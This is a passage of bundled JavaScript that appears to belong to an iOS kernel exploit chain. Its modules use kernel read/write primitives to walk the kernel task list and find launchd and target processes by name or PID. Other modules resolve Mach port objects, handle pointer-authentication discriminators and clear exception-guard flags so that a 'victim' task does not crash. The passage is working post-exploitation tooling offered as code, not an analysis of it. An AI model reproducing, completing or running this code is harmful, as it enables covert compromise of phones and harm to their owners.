Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t}\n\n\tstatic foreachFile(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t\treturn true;\n\t}\n\n\tstatic createDir(path, permission=0o755) {\n\t\treturn !Native.callSymbol(\"mkdir\", path, permission);\n\t}\n\n\tstatic deleteDir(path, recursive=false) {\n\t\tif (recursive) {\n\t\t\tconst dir = Native.callSymbol(\"opendir\", path);\n\t\t\tif (!dir) {\n\t\t\t\tconsole.log(TAG, \"deleteDir: Unable to open dir: \" + path);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\twhile (true) {\n\t\t\t\tconst item = this.#readdir(dir);\n\t\t\t\tif (!item)\n\t\t\t\t\tbreak;\n\n\t\t\t\tconst newPath = path + '/' + item.d_name;\n\n\t\t\t\tswitch (item.d_type) {\n\t\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tthis.deleteDir(newPath, true);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\t\tconsole.log(TAG, `deleting: ${newPath}`);\n\t\t\t\t\t\tthis.deleteFile(newPath);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"closedir\", dir);\n\t\t}\n\n\t\treturn !Native.callSymbol(\"rmdir\", path);\n\t}\n\n\tstatic exists(path, permission=0/*F_OK*/) {\n\t\treturn !Native.callSymbol(\"access\", path, permission);\n\t}\n\n\tstatic stat(path) {\n\t\tconst ret = Native.callSymbol(\"stat\", path, Native.mem);\n\t\tif (ret == ERROR)\n\t\t\treturn null;\n\t\tconst buff = Native.read(Native.mem, 144);\n\t\tconst view = new DataView(buff);\n\n\t\tconst dev = view.getInt32(0, true);\n\t\tconst mode = view.getUint16(0x4, true);\n\t\tconst nlink = view.getUint16(0x6, true);\n\t\tconst ino = view.getBigUint64(0x8, true);\n\t\tconst uid = view.getUint32(0x10, true);\n\t\tconst gid = view.getUint32(0x14, true);\n\t\tconst atime_tv_sec = view.getBigInt64(0x20, true);\n\t\tconst mtime_tv_sec = view.getBigInt64(0x30, true);\n\t\tconst ctime_tv_sec = view.getBigInt64(0x40, true);\n\t\tconst size = view.getBigInt64(0x60, true);\n\n\t\treturn {\n\t\t\tmode: Number(mode),\n\t\t\tino: Number(ino),\n\t\t\tdev: Number(dev),\n\t\t\tnlink: Number(nlink),\n\t\t\tuid: Number(uid),\n\t\t\tgid: Number(gid),\n\t\t\tsize: Number(size),\n\t\t\tatime: Number(atime_tv_sec),\n\t\t\tmtime: Number(mtime_tv_sec),\n\t\t\tctime: Number(ctime_tv_sec)\n\t\t};\n\t}\n\n\tstatic #readdir(dir) {\n\t\tconst itemPtr = Native.callSymbol(\"readdir\", dir);\n\t\tif (!itemPtr)\n\t\t\treturn null;\n\n\t\tconst item = Native.read(itemPtr, 24);\n\t\tconst view = new DataView(item);\n\n\t\tconst d_ino = view.getBigUint64(0, true);\n\t\tconst d_namlen = view.getUint16(18, true);\n\t\tconst d_type = view.getUint8(20);\n\t\tconst d_name = Native.readString(itemPtr + 21n, d_namlen + 1);\n\n\t\treturn {\n\t\t\td_ino: d_ino,\n\t\t\td_type: d_type,\n\t\t\td_name: d_name\n\t\t};\n\t}\n\n\tstatic #commonWriteFile(path, data, flags) {\n\t\tconst fd = Native.callSymbol(\"open\", path, flags, 0o644);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\t// For some reason file mode is not applied on open()\n\t\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\t\tlet offs = 0;\n\t\tlet left = data.byteLength;\n\n\t\tconst buffSize = 0x4000;\n\t\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\t\twhile (true) {\n\t\t\tconst size = left > buffSize ? buffSize : left;\n\t\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\t\tconst dst8 = new Uint8Array(src8);\n\t\t\tNative.write(buffPtr, dst8.buffer);\n\t\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\t\tif (!len || len == ERROR)\n\t\t\t\tbreak;\n\t\t\toffs += len;\n\t\t\tleft -= len;\n\t\t\tif (!left)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tNative.callSymbol(\"free\", buffPtr);\n\t\tNative.callSymbol(\"close\", fd);\n\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Logger.js\":\n/*!************************************!*\\\n !*** ./src/libs/JSUtils/Logger.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Logger)\n/* harmony export */ });\n/* harmony import */ var _FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./FileUtils */ \"./src/libs/JSUtils/FileUtils.js\");\n/* harmony import */ var _Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\nclass Logger {\n\n\tstatic #logging = false;\n\tstatic #logfile = \"/private/var/mobile/Media/PostLogs.txt\";\n\n\tstatic {\n\t\t//LOG(\"Log file: \" + Logger.#logfile);\n\t}\n\n\tstatic log(TAG, msg) {\n\t\t// Avoid recursive logging\n\t\tif (Logger.#logging)\n\t\t\treturn;\n\t\tLogger.#logging = true;\n\t\tconst logMsg = `[${TAG}] ${msg}`;\n\n\t\tLOG(logMsg);\n\n\t\tif (false) // removed by dead control flow\n{}\n\t\tLogger.#logging = false;\n\t}\n\n\tstatic clearPreviousLogs(){\n\t\t_Chain_Native__WEBPACK_IMPORTED_MODULE_1__[\"default\"].callSymbol(\"unlink\", Logger.#logfile);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Utils.js\":\n/*!***********************************!*\\\n !*** ./src/libs/JSUtils/Utils.js ***!\n \\***********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Utils)\n/* harmony export */ });\n\n\nconst TAG = \"UTILS\";\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nclass Utils {\n\n\tstatic UINT64_SIZE = 8;\n\tstatic UINT32_SIZE = 4;\n\tstatic UINT16_SIZE = 2;\n\tstatic ARM_THREAD_STATE64 = 6;\n\tstatic ARM_THREAD_STATE64_SIZE = 0x110;\n\tstatic ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE);\n\tstatic ptrauth_key_asia = 0;\n\tstatic EXC_BAD_ACCESS = 1n;\n\tstatic EXC_GUARD = 12n;\n\tstatic EXC_MASK_GUARD = (1n << this.EXC_GUARD);\n\tstatic EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS);\n\tstatic EXCEPTION_STATE = 2n;\n\tstatic MACH_EXCEPTION_CODES = 0x80000000n;\n\tstatic PAGE_SIZE = 0x4000n;\n\tstatic PAGE_MASK = (this.PAGE_SIZE - 1n);\n\n\tstatic hex(val) {\n\t\treturn val.toString(16);\n\t}\n\n\tstatic memmem(haystack, needle) {\n\t\tconst hLen = haystack.byteLength;\n\t\tconst nLen = needle.byteLength;\n\n\t\tif (nLen === 0 || hLen < nLen) {\n\t\t return 0;\n\t\t}\n\n\t\tconst haystackView = new Uint8Array(haystack);\n\t\tconst needleView = new Uint8Array(needle);\n\n\t\tfor (let i = 0; i <= hLen - nLen; i++) {\n\t\t let found = true;\n\t\t for (let j = 0; j < nLen; j++) {\n\t\t\tif (haystackView[i + j] !== needleView[j]) {\n\t\t\t found = false;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t if (found) {\n\t\t\treturn i;\n\t\t }\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tstatic ptrauth_string_discriminator(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbedn;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_string_discriminator_special(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481000000000000n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3000000000000n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbed000000000000n;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517000000000000n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_blend_discriminator(diver,discriminator)\n\t{\n\t\treturn diver & 0xFFFFFFFFFFFFn | discriminator;\n\t}\n\n static printArrayBufferInChunks(buffer) {\n const view = new DataView(buffer);\n const chunkSize = 8;\n\n for (let i = 0; i < buffer.byteLength; i += chunkSize) {\n\t\t\t// Read the chunk as a BigInt\n\t\t\tconst chunk = view.getBigUint64(i, true); // Little-endian\n\n console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`);\n }\n }\n\n\tstatic MIN(a, b)\n\t{\n\t\tif(a < b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n\n\tstatic MAX(a, b)\n\t{\n\t\tif(a > b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/RegistersStruct.js\":\n/*!*********************************************!*\\\n !*** ./src/libs/TaskRop/RegistersStruct.js ***!\n \\*********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ RegistersStruct)\n/* harmony export */ });\nconst TAG = \"REGISTERSSTRUCT\"\n\nclass RegistersStruct\n{\n\t#dataView;\n\n\tconstructor(buffer, offset = 0, length = 29) {\n\t\tthis.#dataView = new DataView(buffer,offset, length * 8);\n\t\tthis.length = length;\n\t}\n \n\tget(index) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in get:${index}`);\n\t\t\treturn;\n }\n return this.#dataView.getBigUint64(index * 8, true); // true for little-endian\n }\n\n set(index, value) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in set`);\n\t\t\treturn;\n }\n this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian\n }\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/SelfTaskStruct.js\":\n/*!********************************************!*\\\n !*** ./src/libs/TaskRop/SelfTaskStruct.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ SelfTaskStruct)\n/* harmony export */ });\nclass SelfTaskStruct \n{\n\t#buffer;\n\t#dataView;\n\tconstructor()\n\t{\n\t\tthis.#buffer = new ArrayBuffer(32);\n\t\tthis.#dataView = new DataView(this.#buffer);\n\t\tthis.addr = 0x0n;\n\t\tthis.spaceTable = 0x0n;\n\t\tthis.portObject = 0x0n;\n\t\tthis.launchdTask = 0x0n;\n\t}\n\tget addr()\n\t{\n\t\treturn this.#dataView.getBigUint64(0,true);\n\t}\n\tset addr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(0,value,true);\n\t}\n\tget spaceTable()\n\t{\n\t\treturn this.#dataView.getBigUint64(8,true);\n\t}\n\tset spaceTable(value)\n\t{\n\t\tthis.#dataView.setBigUint64(8,value,true);\n\t}\n\tget portObject()\n\t{\n\t\treturn this.#dataView.getBigUint64(16,true);\n\t}\n\tset portObject(value)\n\t{\n\t\tthis.#dataView.setBigUint64(16,value,true);\n\t}\n\tget launchdTask()\n\t{\n\t\treturn this.#dataView.getBigUint64(24,true);\n\t}\n\tset launchdTask(value)\n\t{\n\t\tthis.#dataView.setBigUint64(24,value,true);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Task.js\":\n/*!**********************************!*\\\n !*** ./src/libs/TaskRop/Task.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Task)\n/* harmony export */ });\n/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ \"./src/libs/TaskRop/SelfTaskStruct.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst TAG = \"TASK\"\nconst TASK_EXC_GUARD_MP_CORPSE = 0x40;\nconst TASK_EXC_GUARD_MP_FATAL = 0x80;\nconst TASK_EXC_GUARD_MP_DELIVER = 0x10;\n\nclass Task\n{\n\tstatic gSelfTask;\n\tstatic KALLOC_ARRAY_TYPE_SHIFT;\n\n\tstatic {\n\t\tthis.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t}\n\n\tstatic init(selfTaskAddr)\n\t{\n\t\t// Update KALLOC_ARRAY_TYPE_SHIFT\n\t\tthis.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().T1SZ_BOOT - 1n));\n\n\t\t/*\n\t\t * This function should be invoked as the initializer of the this Task utility.\n\t\t * It setups the global var \"gSelfTask\" containing values used all across the task functions to lookup ports.\n\t\t * It also retrieves the \"launchd\" task address.\n\t\t */\n\t\tthis.gSelfTask.addr = selfTaskAddr;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\tthis.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n);\n\t\tthis.gSelfTask.launchdTask = this.#searchForLaunchdTask();\n\n\t\tconsole.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.addr)}`);\n\t\tconsole.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(spaceTable)}`);\n\t\tconsole.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.portObject)}`);\n\t\tconsole.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.launchdTask)}`);\n\t}\n\n\tstatic trunc_page(addr)\n\t{\n\t\treturn addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic round_page(addr)\n\t{\n\t\treturn this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic pidof(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\t\treturn pid;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic getTaskAddrByPID(pid)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == pid)\n\t\t\t\treturn currTask;\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || (nextTask == currTask))\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic disableExcGuardKill(taskAddr)\n\t{\n\t\t// in mach_port_guard_ast, the victim would crash if these are on.\n\t\tlet excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard);\n\t\t//console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`);\n\t\texcGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);\n\t\texcGuard |= TASK_EXC_GUARD_MP_DELIVER;\n\t\t//console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard, excGuard);\n\t}\n\n\tstatic getTaskAddrByName(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\t//console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\t//console.log(TAG, `Found target process: ${name}`);\n\t\t\t\treturn currTask;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn false;\n\t}\n\n\tstatic getRightAddr(port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortEntry(spaceTable, port);\n\t}\n\n\tstatic #getSpaceTable(taskAddr)\n\t{\n\t\tlet space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().ipcSpace);\n\t\tlet spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().spaceTable);\n\t\t//console.log(TAG,`space: ${Utils.hex(space)}`);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\tspaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(spaceTable);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\treturn this.#kallocArrayDecodeAddr(BigInt(spaceTable));\n\t}\n\n\tstatic #mach_port_index(port)\n\t{\n\t\treturn ((port) >> 8n);\n\t}\n\n\tstatic #getPortEntry(spaceTable, port)\n\t{\n\t\tlet portIndex = this.#mach_port_index(port);\n\t\treturn spaceTable + (portIndex * 0x18n);\n\t}\n\n\tstatic #getPortObject(spaceTable, port)\n\t{\n\t\t//console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`);\n\t\tlet portEntry = this.#getPortEntry(spaceTable, port);\n\t\t//console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`);\n\t\tlet portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().entryObject);\n\t\t//console.log(TAG,`portObject:${Utils.hex(portObject)}`);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(portObject);\n\t}\n\n\tstatic getTaskProc(taskAddr)\n\t{\n\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().procRO);\n\t\tlet procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\treturn procAddr;\n\t}\n\n\tstatic #searchForLaunchdTask()\n\t{\n\t\t/*\n\t\t * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1.\n\t\t */\n\n\t\tlet currTask = this.gSelfTask.addr;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == 1)\n\t\t\t\treturn currTask;\n\t\t\tlet prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().prevTask);\n\t\t\tif (!prevTask || prevTask === currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = prevTask;\n\t\t}\n\t\treturn 0n;\n\t}\n\n\tstatic #kallocArrayDecodeAddr(ptr)\n\t{\n\t\tlet zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT);\n\t\tif (ptr & zone_mask)\n\t\t{\n\t\t\tptr &= ~0x1fn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_MASK;\n\t\t\t//console.log(TAG,`ptr:${Utils.hex(ptr)}`);\n\t\t\tptr |= zone_mask;\n\t\t\t//console.log(TAG,`ptr2:${Utils.hex(ptr)}`);\n\t\t}\n\t\treturn ptr;\n\t}\n\n\tstatic getPortAddr(port)\n\t{\n\t\tif (!port)\n\t\t\treturn 0;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n\n\tstatic getPortKObject(port)\n\t{\n\t\tlet portObject = this.getPortAddr(port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic #getPortKObjectByAddr(portObject)\n\t{\n\t\tif (!portObject)\n\t\t\treturn 0;\n\t\tlet kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().objectKObject);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(kobject);\n\t}\n\n\tstatic firstThread(taskAddr)\n\t{\n\t\tlet first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().threads);\n\t\treturn first;\n\t}\n\n\tstatic getMap(taskAddr)\n\t{\n\t\tlet vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().mapTask);\n\t\treturn vmMap;\n\t}\n\n\tstatic getPortKObjectOfTask(taskAddr,port)\n\t{\n\t\tlet portObject = this.getPortAddrOfTask(taskAddr, port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic getPortAddrOfTask(taskAddr, port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(taskAddr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/TaskRop.js\":\n/*!*************************************!*\\\n !*** ./src/libs/TaskRop/TaskRop.js ***!\n \\*************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ TaskRop)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ \"./src/libs/TaskRop/Task.js\");\n\n\n\n\nconst TAG = \"TASKROP\"\n\nclass TaskRop\n{\n\tstatic init()\n\t{\n\t\tlet selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getSelfTaskAddr();\n\t\tif (!selfTaskAddr)\n\t\t{\n\t\t\tconsole.log(TAG,`Unable to find self task address`);\n\t\t\treturn;\n\t\t}\t\n\t\tconsole.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(selfTaskAddr)}`);\n\t\t_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].init(selfTaskAddr);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Thread.js\":\n/*!************************************!*\\\n !*** ./src/libs/TaskRop/Thread.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ 